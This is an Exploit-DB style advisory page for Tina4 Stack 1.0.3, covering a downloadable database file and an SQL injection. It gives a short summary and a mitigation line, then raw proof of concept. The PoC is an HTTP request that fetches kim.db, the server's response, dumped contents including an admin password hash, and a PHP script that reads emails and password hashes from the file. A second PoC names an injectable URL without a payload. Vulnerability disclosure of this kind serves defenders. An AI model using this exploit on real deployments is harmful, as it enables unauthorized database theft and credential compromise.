Tina4 Stack 1.0.3 - SQL Injection / Database File Download

vendor:

Tina4 Stack

by:

Ihsan Sencan

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Tina4 Stack

Affected Version From: 1.0.3

Affected Version To: 1.0.3

Patch Exists: NO

Related CWE: N/A

CPE: a:tina4:tina4_stack:1.0.3

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

Tina4 Stack 1.0.3 – SQL Injection / Database File Download

Tina4 Stack 1.0.3 is vulnerable to SQL Injection and Database File Download. An attacker can exploit this vulnerability to gain access to the database file and extract sensitive information. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'kim.db' and 'kim/menu/get/1' parameters. An attacker can send a malicious HTTP request to the vulnerable application and gain access to the database file and extract sensitive information.

Mitigation:

Input validation should be used to prevent SQL injection attacks. The application should also be configured to prevent direct access to the database file.

Source

Exploit-DB raw data:

# Exploit Title: Tina4 Stack 1.0.3 - SQL Injection / Database File Download
# Dork: N/A
# Date: 2018-11-09
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://tina4.com/
# Software Link: https://ayera.dl.sourceforge.net/project/tina4stack/v1.0.3/Release%20V1.0.3.zip
# Version: 1.0.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/kim.db
# 
GET /[PATH]/kim.db HTTP/1.1
Host: TARGET:12345
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.7.7
Date: Fri, 09 Nov 2018 17:21:23 GMT
Content-Type: application/octet-stream
Content-Length: 22528
Last-Modified: Fri, 09 Nov 2018 17:09:46 GMT
Connection: keep-alive
Etag: "5be5bf5a-5800"
Accept-Ranges: bytes

#
view-source:kim.db / 3ˆ	AdminAdminadmin$2y$10$ATw/7BHxoZezY0UfffIq3.zAn8bzP6NPBpmh9Qmk5e4X8HHOjLAba2018-11-09 15:25:24Active

#
<?php

$baglan = new SQLite3('kim.db');

$sonuc = $baglan->query('SELECT * FROM user');

while ($p = $sonuc->fetchArray()) {?>

<h4><?php echo $p['email'];?></h4>
<h4><?php echo $p['passwd'];?></h4>

<?php } ?>

# POC: 
# 2)
# http://localhost/[PATH]/kim/menu/get/1 [SQL]
#